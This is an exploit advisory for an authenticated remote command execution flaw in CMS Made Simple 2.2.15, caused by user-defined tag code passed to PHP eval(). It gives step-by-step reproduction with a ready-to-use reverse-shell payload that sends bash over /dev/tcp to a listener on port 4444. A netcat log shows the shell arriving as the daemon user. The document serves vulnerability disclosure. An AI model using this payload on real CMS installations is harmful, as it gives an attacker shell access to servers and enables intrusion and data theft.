CMS Made Simple 2.2.15 Remote Command Execution

`# Exploit Title: CMS Made Simple 2.2.15 - RCE (Authenticated)  
# Author: Andrey Stoykov  
# Vendor Homepage: https://www.cmsmadesimple.org/  
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms  
# Version: 2.2.15  
# Tested on: Debian 10 LAMPP  
# Exploit and Detailed Info: https://infosecresearchlab.blogspot.com/2020/12/cms-made-simple-2215-authenticated-rce.html  
  
Vulnerability is present at "editusertag.php" at line #93 where the user input is in eval() PHP function.  
  
// Vulnerable eval() code  
  
if (eval('function testfunction'.rand().'() {'.$code."\n}") === FALSE) {  
  
Reproduction Steps:  
  
1. Login as administrator user and navigate to Extensions->User Defined Tags  
  
2. Add code with the payload of:  
exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.56.1/4444 0>&1'");  
  
3. Click on the newly created User Defined Tag and use the Run function  
  
RCE will be achieved:  
  
astoykov@Lubuntu:~$ nc -kvlp 4444  
nc: getnameinfo: Temporary failure in name resolution  
Connection received on 192.168.56.132 53690  
id  
uid=1(daemon) gid=1(daemon) groups=1(daemon)  
`